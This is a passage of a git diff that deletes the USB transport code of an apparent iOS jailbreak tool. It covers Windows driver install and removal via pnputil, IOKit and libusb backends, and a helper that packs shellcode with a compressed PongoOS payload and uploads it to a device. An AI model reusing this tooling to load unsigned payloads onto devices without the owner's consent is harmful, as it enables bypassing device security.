a/src/usb/driver.c b/src/usb/driver.c deleted file mode 100644 index ac84711..0000000 --- a/src/usb/driver.c +++ /dev/null @@ -1,256 +0,0 @@ -#ifdef _WIN32 - -#include "driver.h" - -#include -#include -#include -#include - -#include -#include -#pragma comment(lib, "setupapi.lib") - -#include - -#include "../utils.h" - -#define MAX_MATCHING_DRIVERS 16 - -static void add_target_driver(char list[MAX_MATCHING_DRIVERS][64], int *count, const char *inf) -{ - if (*count >= MAX_MATCHING_DRIVERS || strlen(inf) == 0) return; - - for (int i = 0; i < *count; i++) { - if (strcmp(list[i], inf) == 0) return; - } - - strncpy(list[*count], inf, 63); - list[*count][63] = '\0'; - (*count)++; -} - -driver_result_t install_libusbk_target(unsigned short vid, unsigned short pid) -{ - struct wdi_device_info *list = NULL; - struct wdi_options_create_list cl = { .list_all = TRUE }; - struct wdi_options_prepare_driver prep = { - .driver_type = WDI_LIBUSBK, - .vendor_name = "libusbK" - }; - struct wdi_options_install_driver inst = {0}; - - LOG_VERBOSE("Target: VID:%04X PID:%04X", vid, pid); - - if (wdi_create_list(&list, &cl) != WDI_SUCCESS) { - LOG_ERROR("wdi_create_list failed"); - return DRIVER_ERROR; - } - - char temp_path[MAX_PATH]; - char driver_path[MAX_PATH]; - - if (GetTempPathA(MAX_PATH, temp_path) == 0) { - LOG_ERROR("GetTempPathA failed"); - wdi_destroy_list(list); - return DRIVER_ERROR; - } - - snprintf(driver_path, sizeof(driver_path), "%slibusbk_driver\\", temp_path); - - CreateDirectoryA(driver_path, NULL); - - bool found = false; - bool installed = false; - bool failed = false; - - for (struct wdi_device_info *d = list; d; d = d->next) { - if (d->vid != vid || d->pid != pid) - continue; - - found = true; - - if (d->driver && _stricmp(d->driver, "libusbK") == 0) { - LOG_VERBOSE( - "Device %04X:%04X already using libusbK", - vid, - pid - ); - installed = true; - break; - } - - LOG("Installing libusbK for %04X:%04X...", vid, pid); - - if (wdi_prepare_driver( - d, - driver_path, - "libusbk_driver.inf", - &prep - ) != WDI_SUCCESS) - { - LOG_ERROR("wdi_prepare_driver failed"); - failed = true; - continue; - } - - if (wdi_install_driver( - d, - driver_path, - "libusbk_driver.inf", - &inst - ) != WDI_SUCCESS) - { - LOG_ERROR("wdi_install_driver failed"); - failed = true; - continue; - } - - LOG_SUCCESS( - "libusbK driver successfully installed for %04X:%04X", - vid, - pid - ); - - installed = true; - } - - wdi_destroy_list(list); - - if (!found) - return DRIVER_NOT_PRESENT; - - if (installed && !failed) - return DRIVER_SUCCESS; - - return DRIVER_ERROR; -} - -driver_result_t uninstall_libusbk_target(unsigned short vid, unsigned short pid) -{ - char hwid_u[64], hwid_l[64]; - snprintf(hwid_u, sizeof(hwid_u), "USB\\VID_%04X&PID_%04X", vid, pid); - snprintf(hwid_l, sizeof(hwid_l), "usb\\vid_%04x&pid_%04x", vid, pid); - - LOG_VERBOSE("Target Signature: %s (libusbK)", hwid_u); - - char temp_path[MAX_PATH], log_path[MAX_PATH], cmd[512]; - if (GetTempPathA(MAX_PATH, temp_path) == 0) return DRIVER_ERROR; - snprintf(log_path, sizeof(log_path), "%spnputil_drivers.txt", temp_path); - - // Strip active instances first - snprintf(cmd, sizeof(cmd), "pnputil /remove-device /deviceid \"%s\" >nul 2>&1", hwid_u); - system(cmd); - - // Dump staging tables - snprintf(cmd, sizeof(cmd), "pnputil /enum-drivers > \"%s\"", log_path); - system(cmd); - - FILE *fp = fopen(log_path, "r"); - char line[256], current_oem_inf[64] = {0}; - char target_drivers_list[MAX_MATCHING_DRIVERS][64]; - int target_count = 0, is_libusbk = 0, matches_hwid = 0; - - if (fp) { - while (fgets(line, sizeof(line), fp)) { - if (strstr(line, "Published Name:") || strstr(line, "Published name:")) { - if (is_libusbk && matches_hwid) { - add_target_driver(target_drivers_list, &target_count, current_oem_inf); - } - is_libusbk = matches_hwid = 0; - current_oem_inf[0] = '\0'; - - char *inf_ptr = strstr(line, "oem"); - if (inf_ptr) sscanf(inf_ptr, "%63s", current_oem_inf); - } - - if (strstr(line, "libusbK") || strstr(line, "libusbk")) is_libusbk = 1; - if (strstr(line, hwid_u) || strstr(line, hwid_l) || strstr(line, "libusbk_driver.inf")) matches_hwid = 1; - } - if (is_libusbk && matches_hwid) { - add_target_driver(target_drivers_list, &target_count, current_oem_inf); - } - fclose(fp); - DeleteFileA(log_path); - } - - if (target_count > 0) { - for (int i = 0; i < target_count; i++) { - LOG("Purging driver package (%d/%d): %s", i + 1, target_count, target_drivers_list[i]); - snprintf(cmd, sizeof(cmd), "pnputil /delete-driver %s /uninstall /force >nul 2>&1", target_drivers_list[i]); - system(cmd); - } - snprintf(cmd, sizeof(cmd), "pnputil /scan-devices >nul 2>&1"); - system(cmd); - LOG_SUCCESS("All %d libusbK driver instances fully uninstalled.", target_count); - return DRIVER_SUCCESS; - } - - LOG_ERROR("No matching libusbK driver package found in system store"); - return DRIVER_NOT_PRESENT; -} - -bool usb_device_present(unsigned short vid, unsigned short pid) -{ - HDEVINFO info; - SP_DEVINFO_DATA dev_info; - - char target[64]; - - snprintf( - target, - sizeof(target), - "VID_%04X&PID_%04X", - vid, - pid - ); - - info = SetupDiGetClassDevsA( - NULL, - "USB", - NULL, - DIGCF_PRESENT | DIGCF_ALLCLASSES - ); - - if (info == INVALID_HANDLE_VALUE) - return false; - - dev_info.cbSize = sizeof(dev_info); - - for (DWORD i = 0; - SetupDiEnumDeviceInfo(info, i, &dev_info); - i++) - { - char hardware_ids[4096]; - DWORD size = 0; - - if (!SetupDiGetDeviceRegistryPropertyA( - info, - &dev_info, - SPDRP_HARDWAREID, - NULL, - (PBYTE)hardware_ids, - sizeof(hardware_ids), - &size)) - { - continue; - } - - char *id = hardware_ids; - - while (*id) { - if (strstr(id, target)) { - SetupDiDestroyDeviceInfoList(info); - return true; - } - - id += strlen(id) + 1; - } - } - - SetupDiDestroyDeviceInfoList(info); - - return false; -} - -#endif \ No newline at end of file diff --git a/src/usb/driver.h b/src/usb/driver.h deleted file mode 100644 index eb2a1a5..0000000 --- a/src/usb/driver.h +++ /dev/null @@ -1,28 +0,0 @@ -#ifdef _WIN32 - -#ifndef DRIVER_MOD_H -#define DRIVER_MOD_H - -#include - -#ifdef __cplusplus -extern "C" { -#endif - -typedef enum { - DRIVER_SUCCESS = 0, - DRIVER_NOT_PRESENT, - DRIVER_ERROR, -} driver_result_t; - -driver_result_t install_libusbk_target(unsigned short vid, unsigned short pid); -driver_result_t uninstall_libusbk_target(unsigned short vid, unsigned short pid); -bool usb_device_present(unsigned short vid, unsigned short pid); - -#ifdef __cplusplus -} -#endif - -#endif // DRIVER_MOD_H - -#endif // _WIN32 \ No newline at end of file diff --git a/src/usb/iokit/usb_iokit.c b/src/usb/iokit/usb_iokit.c deleted file mode 100644 index 400c8e7..0000000 --- a/src/usb/iokit/usb_iokit.c +++ /dev/null @@ -1,280 +0,0 @@ -#ifdef __APPLE__ - -#include "usb_iokit.h" - -#include - -#include -#include -#include -#include - -#include "../../utils.h" - -static void cf_dictionary_set_int16(CFMutableDictionaryRef dict, const void *key, uint16_t val) { - CFNumberRef cf_val = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt16Type, &val); - - if(cf_val != NULL) { - CFDictionarySetValue(dict, key, cf_val); - CFRelease(cf_val); - } -} - -bool query_usb_interface(io_service_t serv, CFUUIDRef plugin_type, CFUUIDRef interface_type, LPVOID *interface) { - IOCFPlugInInterface **plugin_interface; - SInt32 score; - bool ret = false; - - if(IOCreatePlugInInterfaceForService(serv, plugin_type, kIOCFPlugInInterfaceID, &plugin_interface, &score) == kIOReturnSuccess) { - ret = (*plugin_interface)->QueryInterface(plugin_interface, CFUUIDGetUUIDBytes(interface_type), interface) == kIOReturnSuccess; - IODestroyPlugInInterface(plugin_interface); - } - - IOObjectRelease(serv); - return ret; -} - -static bool open_usb_interface(usb_handle_t *handle) { - IOUSBFindInterfaceRequest req; - io_iterator_t iter; - io_service_t intfServ; - IOReturn kr; - - req.bInterfaceClass = kIOUSBFindInterfaceDontCare; - req.bInterfaceSubClass = kIOUSBFindInterfaceDontCare; - req.bInterfaceProtocol = kIOUSBFindInterfaceDontCare; - req.bAlternateSetting = kIOUSBFindInterfaceDontCare; - - kr = (*handle->device)->CreateInterfaceIterator(handle->device, &req, &iter); - if(kr != kIOReturnSuccess) return false; - - while((intfServ = IOIteratorNext(iter)) != IO_OBJECT_NULL) { - IOCFPlugInInterface **plugin = NULL; - IOUSBInterfaceInterface245 **intf = NULL; - SInt32 score = 0; - HRESULT res; - - kr = IOCreatePlugInInterfaceForService(intfServ, kIOUSBInterfaceUserClientTypeID, kIOCFPlugInInterfaceID, &plugin, &score); - - IOObjectRelease(intfServ); - - if(kr != kIOReturnSuccess || !plugin) continue; - - res = (*plugin)->QueryInterface(plugin, CFUUIDGetUUIDBytes(kIOUSBInterfaceInterfaceID245), (LPVOID *)&intf); - - (*plugin)->Release(plugin); - - if(res != S_OK || !intf) continue; - - kr = (*intf)->USBInterfaceOpen(intf); - if(kr != kIOReturnSuccess) { - (*intf)->Release(intf); - continue; - } - - handle->interface = intf; - IOObjectRelease(iter); - return true; - } - - IOObjectRelease(iter); - return false; -} - -void close_usb_device(usb_handle_t *handle) { - if(handle->async_event_source) { - CFRunLoopRemoveSource(CFRunLoopGetCurrent(), handle->async_event_source, kCFRunLoopDefaultMode); - CFRelease(handle->async_event_source); - handle->async_event_source = NULL; - } - - if(handle->interface) { - (*handle->interface)->USBInterfaceClose(handle->interface); - (*handle->interface)->Release(handle->interface); - handle->interface = NULL; - } - - if(handle->device) { - (*handle->device)->USBDeviceClose(handle->device); - (*handle->device)->Release(handle->device); - handle->device = NULL; - } -} - -void close_usb_handle(usb_handle_t *handle) { - close_usb_device(handle); -} - -bool open_usb_device(io_service_t serv, usb_handle_t *handle) { - bool ret = false; - - if(query_usb_interface(serv, kIOUSBDeviceUserClientTypeID, kIOUSBDeviceInterfaceID320, (LPVOID *)&handle->device)) { - if((*handle->device)->USBDeviceOpen(handle->device) == kIOReturnSuccess) { - if((*handle->device)->SetConfiguration(handle->device, 1) == kIOReturnSuccess && (*handle->device)->CreateDeviceAsyncEventSource(handle->device, &handle->async_event_source) == kIOReturnSuccess) { - CFRunLoopAddSource(CFRunLoopGetCurrent(), handle->async_event_source, kCFRunLoopDefaultMode); - - if(open_usb_interface(handle)) { - ret = true; - } else { - (*handle->device)->USBDeviceClose(handle->device); - } - } else { - (*handle->device)->USBDeviceClose(handle->device); - } - } - - if(!ret) { - (*handle->device)->Release(handle->device); - handle->device = NULL; - } - } - - return ret; -} - -bool wait_usb_handle(usb_handle_t *handle) { - CFMutableDictionaryRef matching_dict; - io_iterator_t iter; - io_service_t serv; - bool ret = false; - - while((matching_dict = IOServiceMatching(kUSBDeviceClassName)) != NULL) { - cf_dictionary_set_int16(matching_dict, CFSTR(kUSBVendorID), handle->vid); - cf_dictionary_set_int16(matching_dict, CFSTR(kUSBProductID), handle->pid); - - if(IOServiceGetMatchingServices(0, matching_dict, &iter) == kIOReturnSuccess) { - while((serv = IOIteratorNext(iter)) != IO_OBJECT_NULL) { - if(open_usb_device(serv, handle)) { - ret = true; - break; - } - } - - IOObjectRelease(iter); - - if(ret) break; - - sleep_ms(USB_TIMEOUT); - } - } - - return ret; -} - -void reset_usb_handle(usb_handle_t *handle) { - if(handle->device) { - (*handle->device)->ResetDevice(handle->device); - (*handle->device)->USBDeviceReEnumerate(handle->device, 0); - } -} - -static void usb_async_cb(void *refcon, IOReturn ret, void *arg) { - transfer_ret_t *transfer_ret = refcon; - - if(transfer_ret != NULL) { - memcpy(&transfer_ret->sz, &arg, sizeof(transfer_ret->sz)); - - if(ret == kIOReturnSuccess) { - transfer_ret->ret = USB_TRANSFER_OK; - } else if(ret == kUSBPipeStalled) { - transfer_ret->ret = USB_TRANSFER_STALL; - } else { - transfer_ret->ret = USB_TRANSFER_ERROR; - } - } - - CFRunLoopStop(CFRunLoopGetCurrent()); -} - -bool send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, transfer_ret_t *transfer_ret) { - IOUSBDevRequestTO req; - IOReturn ret; - - req.wLenDone = 0; - req.pData = p_data; - req.bRequest = b_request; - req.bmRequestType = bm_request_type; - req.wLength = OSSwapLittleToHostInt16(w_len); - req.wValue = OSSwapLittleToHostInt16(w_value); - req.wIndex = OSSwapLittleToHostInt16(w_index); - req.completionTimeout = req.noDataTimeout = USB_TIMEOUT; - - ret = (*handle->device)->DeviceRequestTO(handle->device, &req); - - if(transfer_ret != NULL) { - if(ret == kIOReturnSuccess) { - transfer_ret->sz = req.wLenDone; - transfer_ret->ret = USB_TRANSFER_OK; - } else if(ret == kUSBPipeStalled) { - transfer_ret->ret = USB_TRANSFER_STALL; - } else { - transfer_ret->ret = USB_TRANSFER_ERROR; - } - } - - return true; -} - -bool send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout, transfer_ret_t *transfer_ret) { - IOUSBDevRequestTO req; - - req.wLenDone = 0; - req.pData = p_data; - req.bRequest = b_request; - req.bmRequestType = bm_request_type; - req.wLength = OSSwapLittleToHostInt16(w_len); - req.wValue = OSSwapLittleToHostInt16(w_value); - req.wIndex = OSSwapLittleToHostInt16(w_index); - req.completionTimeout = req.noDataTimeout = USB_TIMEOUT; - - if((*handle->device)->DeviceRequestAsyncTO(handle->device, &req, usb_async_cb, transfer_ret) == kIOReturnSuccess) { - sleep_ms(usb_abort_timeout); - - if((*handle->device)->USBDeviceAbortPipeZero(handle->device) == kIOReturnSuccess) { - CFRunLoopRun(); - return true; - } - } - - return false; -} - -bool send_interface_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, transfer_ret_t *transfer_ret) { - if(!handle || !handle->interface) return false; - - IOUSBDevRequest req = { - .bmRequestType = bm_request_type, - .bRequest = b_request, - .wValue = w_value, - .wIndex = w_index, - .wLength = (UInt16)w_len, - .pData = p_data, - }; - - IOReturn ret = (*handle->interface)->ControlRequest(handle->interface, 0, &req); - - if(transfer_ret) { - transfer_ret->ret = (ret == kIOReturnSuccess) - ? USB_TRANSFER_OK - : USB_TRANSFER_ERROR; - transfer_ret->sz = req.wLenDone; - } - - return ret == kIOReturnSuccess; -} - -bool send_interface_bulk_transfer(const usb_handle_t *handle, void *data, uint32_t len) { - if(!handle || !handle->interface) return false; - IOReturn ret = (*handle->interface)->WritePipe(handle->interface, 2, data, len); - return ret == kIOReturnSuccess; -} - -void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid) { - handle->vid = vid; - handle->pid = pid; - handle->device = NULL; - handle->interface = NULL; - handle->async_event_source = NULL; -} - -#endif diff --git a/src/usb/iokit/usb_iokit.h b/src/usb/iokit/usb_iokit.h deleted file mode 100644 index fd50c11..0000000 --- a/src/usb/iokit/usb_iokit.h +++ /dev/null @@ -1,62 +0,0 @@ -#ifdef __APPLE__ - -#ifndef IOKIT_BACKEND_H -#define IOKIT_BACKEND_H - -#include - -#include -#include - -#define USB_TIMEOUT (5) - -#ifdef __APPLE__ -# if TARGET_OS_IPHONE -# define kUSBPipeStalled kUSBHostReturnPipeStalled -# else -# define kUSBPipeStalled kIOUSBPipeStalled -# endif -#endif - -#ifdef __APPLE__ -# if TARGET_OS_IPHONE -# define kUSBDeviceClassName "IOUSBHostDevice" -# else -# define kUSBDeviceClassName kIOUSBDeviceClassName -# endif -#endif - -enum usb_transfer { - USB_TRANSFER_OK, - USB_TRANSFER_ERROR, - USB_TRANSFER_STALL, -}; - -typedef struct { - enum usb_transfer ret; - uint32_t sz; -} transfer_ret_t; - -typedef struct { - uint16_t vid, pid; - io_service_t serv; - IOUSBDeviceInterface320 **device; - IOUSBInterfaceInterface245 **interface; - CFRunLoopSourceRef async_event_source; -} usb_handle_t; - -bool query_usb_interface(io_service_t serv, CFUUIDRef plugin_type, CFUUIDRef interface_type, LPVOID *interface); -void close_usb_device(usb_handle_t *handle); -void close_usb_handle(usb_handle_t *handle); -bool open_usb_device(io_service_t serv, usb_handle_t *handle); -bool wait_usb_handle(usb_handle_t *handle); -void reset_usb_handle(usb_handle_t *handle); -bool send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, transfer_ret_t *transfer_ret); -bool send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout, transfer_ret_t *transfer_ret); -bool send_interface_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, transfer_ret_t *transfer_ret); -bool send_interface_bulk_transfer(const usb_handle_t *handle, void *data, uint32_t len); -void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid); - -#endif // IOKIT_BACKEND_H - -#endif // __APPLE__ diff --git a/src/usb/libusb/usb_libusb.c b/src/usb/libusb/usb_libusb.c deleted file mode 100644 index 14d69bc..0000000 --- a/src/usb/libusb/usb_libusb.c +++ /dev/null @@ -1,193 +0,0 @@ -#ifndef __APPLE__ - -#include "usb_libusb.h" - -#include -#include -#include - -#include - -#include "../../utils.h" - -void close_usb_handle(usb_handle_t *handle) { - #if _WIN32 - libusb_release_interface(handle->device, 0); - #endif - libusb_close(handle->device); - libusb_exit(NULL); -} - -void reset_usb_handle(const usb_handle_t *handle) { - libusb_reset_device(handle->device); -} - -bool wait_usb_handle(usb_handle_t *handle) { - if(libusb_init(NULL) == LIBUSB_SUCCESS) { - for(;;) { - if((handle->device = libusb_open_device_with_vid_pid(NULL, handle->vid, handle->pid)) != NULL) { - #if _WIN32 - libusb_set_auto_detach_kernel_driver(handle->device, 1); - - if(libusb_set_configuration(handle->device, 1) == LIBUSB_SUCCESS || - libusb_set_configuration(handle->device, 1) == LIBUSB_ERROR_BUSY) - { - if(libusb_claim_interface(handle->device, 0) == LIBUSB_SUCCESS) { - return true; - } - } - #else - if(libusb_set_configuration(handle->device, 1) == LIBUSB_SUCCESS) { - return true; - } - #endif - - libusb_close(handle->device); - } - sleep_ms(USB_TIMEOUT); - } - } - return false; -} - -void usb_async_cb(struct libusb_transfer *transfer) { - *(int *)transfer->user_data = 1; -} - -bool send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, transfer_ret_t *transfer_ret) { - int ret = libusb_control_transfer(handle->device, bm_request_type, b_request, w_value, w_index, p_data, (uint16_t)w_len, USB_TIMEOUT); - - if(transfer_ret != NULL) { - if(ret >= 0) { - transfer_ret->sz = (uint32_t)ret; - transfer_ret->ret = USB_TRANSFER_OK; - } else if(ret == LIBUSB_ERROR_PIPE) { - transfer_ret->ret = USB_TRANSFER_STALL; - } else { - transfer_ret->ret = USB_TRANSFER_ERROR; - } - } - return true; -} - -bool send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout, transfer_ret_t *transfer_ret) { - struct libusb_transfer *transfer = libusb_alloc_transfer(0); - struct timeval tv; - int completed = 0; - uint8_t *buf; - - if(transfer != NULL) { - if((buf = malloc(LIBUSB_CONTROL_SETUP_SIZE + w_len)) != NULL) { - if((bm_request_type & LIBUSB_ENDPOINT_DIR_MASK) == LIBUSB_ENDPOINT_OUT) { - memcpy(buf + LIBUSB_CONTROL_SETUP_SIZE, p_data, w_len); - } - libusb_fill_control_setup(buf, bm_request_type, b_request, w_value, w_index, (uint16_t)w_len); - libusb_fill_control_transfer(transfer, handle->device, buf, usb_async_cb, &completed, USB_TIMEOUT); - if(libusb_submit_transfer(transfer) == LIBUSB_SUCCESS) { - tv.tv_sec = usb_abort_timeout / 1000; - tv.tv_usec = (usb_abort_timeout % 1000) * 1000; - while(completed == 0 && libusb_handle_events_timeout_completed(NULL, &tv, &completed) == LIBUSB_SUCCESS) { - libusb_cancel_transfer(transfer); - } - if(completed != 0) { - if((bm_request_type & LIBUSB_ENDPOINT_DIR_MASK) == LIBUSB_ENDPOINT_IN) { - memcpy(p_data, libusb_control_transfer_get_data(transfer), transfer->actual_length); - } - if(transfer_ret != NULL) { - transfer_ret->sz = (uint32_t)transfer->actual_length; - if(transfer->status == LIBUSB_TRANSFER_COMPLETED) { - transfer_ret->ret = USB_TRANSFER_OK; - } else if(transfer->status == LIBUSB_TRANSFER_STALL) { - transfer_ret->ret = USB_TRANSFER_STALL; - } else { - transfer_ret->ret = USB_TRANSFER_ERROR; - } - } - } - } - free(buf); - } - libusb_free_transfer(transfer); - } - return completed != 0; -} - -bool send_interface_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, transfer_ret_t *transfer_ret) { - int ret = libusb_control_transfer(handle->device, bm_request_type, b_request, w_value, w_index, p_data, (uint16_t)w_len, 0); - - if(transfer_ret != NULL) { - if(ret >= 0) { - transfer_ret->sz = (uint32_t)ret; - transfer_ret->ret = USB_TRANSFER_OK; - } else if(ret == LIBUSB_ERROR_PIPE) { - transfer_ret->ret = USB_TRANSFER_STALL; - } else { - transfer_ret->ret = USB_TRANSFER_ERROR; - } - } - return true; -} - -bool send_interface_bulk_transfer(const usb_handle_t *handle, void *data, int len) -{ - static uint32_t maxLen = 0; - int transferred = 0; - int32_t r; - if(maxLen == 0) - { - r = libusb_bulk_transfer(handle->device, 2, data, len, &transferred, 0); - if(r == LIBUSB_SUCCESS) - { - return transferred == len ? LIBUSB_SUCCESS : LIBUSB_ERROR_INTERRUPTED; - } - else if(r != LIBUSB_ERROR_NO_MEM) - { - return r; - } - #if defined(__linux__) - // We only get here on ENOMEM - FILE *f = fopen("/sys/module/usbcore/parameters/usbfs_memory_mb", "r"); - if(f) - { - char str[32]; // More than enough to hold a uint64 in decimal - size_t s = fread(str, 1, sizeof(str), f); - fclose(f); - if(s == 0 || s >= sizeof(str)) return r; - str[s] = '\0'; - char *end = NULL; - unsigned long long max = strtoull(str, &end, 0); - // Using the limit as-is will lead to ENOMEM, so we multiply - // by half a MB and impose an appropriate max value. - if(*end == '\n') ++end; - if(*end != '\0' || max == 0 || max >= 0x2000) return r; - maxLen = (uint32_t)(max << 19); - } - else - #endif - { - // Just 1MB by default? - maxLen = 0x100000; - } - } - // If we get here, we have to chunk our data - for(int done = transferred; done < len; ) - { - uint32_t chunk = len - done; - if(chunk > maxLen) chunk = maxLen; - transferred = 0; - r = libusb_bulk_transfer(handle->device, 2, (unsigned char*)data + done, chunk, &transferred, 0); - done += transferred; - if(r == LIBUSB_SUCCESS) continue; - if(r != LIBUSB_ERROR_NO_MEM || maxLen <= 0x40) return r; - maxLen /= 2; - } - return LIBUSB_SUCCESS; -} - -void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid) { - handle->vid = vid; - handle->pid = pid; - handle->device = NULL; -} - -#endif // __APPLE__ diff --git a/src/usb/libusb/usb_libusb.h b/src/usb/libusb/usb_libusb.h deleted file mode 100644 index e9637c8..0000000 --- a/src/usb/libusb/usb_libusb.h +++ /dev/null @@ -1,39 +0,0 @@ -#ifndef __APPLE__ - -#ifndef LIBUSB_BACKEND_H -#define LIBUSB_BACKEND_H - -#include -#include - -#define USB_TIMEOUT (5) - -enum usb_transfer { - USB_TRANSFER_OK, - USB_TRANSFER_ERROR, - USB_TRANSFER_STALL, -}; - -typedef struct { - enum usb_transfer ret; - uint32_t sz; -} transfer_ret_t; - -typedef struct { - uint16_t vid, pid; - struct libusb_device_handle *device; -} usb_handle_t; - -void close_usb_handle(usb_handle_t *handle); -void reset_usb_handle(const usb_handle_t *handle); -bool wait_usb_handle(usb_handle_t *handle); -void usb_async_cb(struct libusb_transfer *transfer); -bool send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, transfer_ret_t *transfer_ret); -bool send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout, transfer_ret_t *transfer_ret); -bool send_interface_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, transfer_ret_t *transfer_ret); -bool send_interface_bulk_transfer(const usb_handle_t *handle, void *data, int len); -void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid); - -#endif // LIBUSB_BACKEND_H - -#endif // __APPLE__ diff --git a/src/usb/pongo_helper.c b/src/usb/pongo_helper.c deleted file mode 100644 index c990b77..0000000 --- a/src/usb/pongo_helper.c +++ /dev/null @@ -1,149 +0,0 @@ -#include "pongo_helper.h" - -#include -#include - -#include -#include - -#include "shim.h" - -#include "../utils.h" -#include "../globals.h" -#include "../m8/dfu.h" - -#include "../gen/payloads/lz4dec.h" - -static bool compress_pongo(uint8_t **out, size_t *out_len) -{ - const uint8_t *src = g_payload_pongo.data; - int src_size = (int)g_payload_pongo.data_len; - - int max_size = LZ4_compressBound(src_size); - - uint8_t *buf = malloc(max_size); - if (!buf) return false; - - int size = LZ4_compress_HC( - (const char *)src, - (char *)buf, - src_size, - max_size, - LZ4HC_CLEVEL_MAX - ); - - if (size <= 0) { - free(buf); - return false; - } - - *out = buf; - *out_len = (size_t)size; - - return true; -} - -#define SHELLCODE_SZ (512) - -bool prepare_pongo(uint8_t **out, size_t *out_len) -{ - size_t pongoSize; - uint8_t *pongo; - - if (!compress_pongo(&pongo, &pongoSize)) - return false; - - uint8_t *payload = malloc(SHELLCODE_SZ + pongoSize); - if (!payload) { - free(pongo); - return false; - } - - memcpy(payload, payloads_lz4dec_bin, SHELLCODE_SZ); - memcpy(payload + SHELLCODE_SZ, pongo, pongoSize); - - free(pongo); - - pongo = payload; - pongoSize += SHELLCODE_SZ; - - uint32_t *pongoSizeInData = (uint32_t *)(pongo + 0x1fc); - *pongoSizeInData = (uint32_t)pongoSize - SHELLCODE_SZ; - - *out = pongo; - *out_len = pongoSize; - - return true; -} - -int issue_pongo_command(const usb_handle_t *handle, const char *command) { - uint32_t outpos = 0; - uint32_t outlen = 0; - transfer_ret_t tx_status; - uint8_t in_progress = 1; - - char command_buf[512]; - char stdout_buf[0x2000]; - - memset(stdout_buf, 0, sizeof(stdout_buf)); - - if (command != NULL) { - size_t len = strlen(command); - - if (len > 510) { - LOG_ERROR("Pongo command too long: %s", command); - return -1; - } - - LOG_VERBOSE("Executing PongoOS command: '%s'", command); - - snprintf(command_buf, sizeof(command_buf), "%s\n", command); - len = strlen(command_buf); - - if (!send_interface_control_request(handle, 0x21, 4, 1, 0, NULL, 0, &tx_status)) return -1; - if (!send_interface_control_request(handle, 0x21, 3, 0, 0, command_buf, len, &tx_status)) return -1; - - // return early if the command is boot, we dont care about results - if (strncmp(command,"boot",4) == 0) return 0; - } - fetch_output: - while (in_progress) { - if (!send_interface_control_request(handle, 0xA1, 2, 0, 0, &in_progress, sizeof(in_progress), &tx_status)) goto bad; - - if (in_progress == 0) break; - - if (outpos + 0x1000 >= sizeof(stdout_buf)) { - memmove(stdout_buf, stdout_buf + 0x1000, sizeof(stdout_buf) - 0x1000); - outpos -= 0x1000; - } - - if (!send_interface_control_request(handle, 0xA1, 1, 0, 0, stdout_buf + outpos, 0x1000, &tx_status)) goto bad; - - outlen = 0x1000; - outpos += outlen; - } - bad: - if (tx_status.ret != USB_TRANSFER_OK) { - LOG_ERROR("Pongo USB error: %d", tx_status.ret); - return -1; - } - - return 0; -} - -bool upload_buffer_to_pongo(usb_handle_t *handle, const void *data, size_t length) { - if (data == NULL || length == 0) { - LOG_ERROR("Invalid data buffer or length"); - return false; - } - - LOG_VERBOSE("Uploading %zu bytes to PongoOS...", length); - - bool ret = false; - transfer_ret_t tx_status = {0}; - - ret = send_interface_control_request(handle, 0x21, DFU_DNLOAD, 0, 0, (void *)&length, 4, &tx_status); - ret = send_interface_bulk_transfer(handle, (void *)data, (uint32_t)length); - - return ret; -} diff --git a/src/usb/pongo_helper.h b/src/usb/pongo_helper.h deleted file mode 100644 index b457843..0000000 --- a/src/usb/pongo_helper.h +++ /dev/null @@ -1,15 +0,0 @@ -#ifndef USB_PONGO_H -#define USB_PONGO_H - -#include "shim.h" - -#define PONGO_MAX_SZ (0x7fe00) -#define MACHO_MAGIC_32 (const unsigned char[]){ 0xCE, 0xFA, 0xED, 0xFE } -#define MACHO_MAGIC_64 (const unsigned char[]){ 0xCF, 0xFA, 0xED, 0xFE } -#define CMD_LENGTH_MAX 512 - -bool prepare_pongo(uint8_t **out, size_t *out_len); -int issue_pongo_command(const usb_handle_t *handle, const char *command); -bool upload_buffer_to_pongo(usb_handle_t *handle, const void *data, size_t length); - -#endif // USB_PONGO_H diff --git a/src/usb/shim.c b/src/usb/shim.c deleted file mode 100644 index 22d5e4e..0000000 --- a/src/usb/shim.c +++ /dev/null @@ -1,38 +0,0 @@ -#include "shim.h" - -#include -#include - -#ifdef __APPLE__ -# include "iokit/usb_iokit.h" -#else -# include "libusb/usb_libusb.h" -#endif - -bool send_usb_control_request_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len, transfer_ret_t *transfer_ret) { - bool ret = false; - void *p_data; - - if(w_len == 0) { - ret = send_usb_control_request(handle, 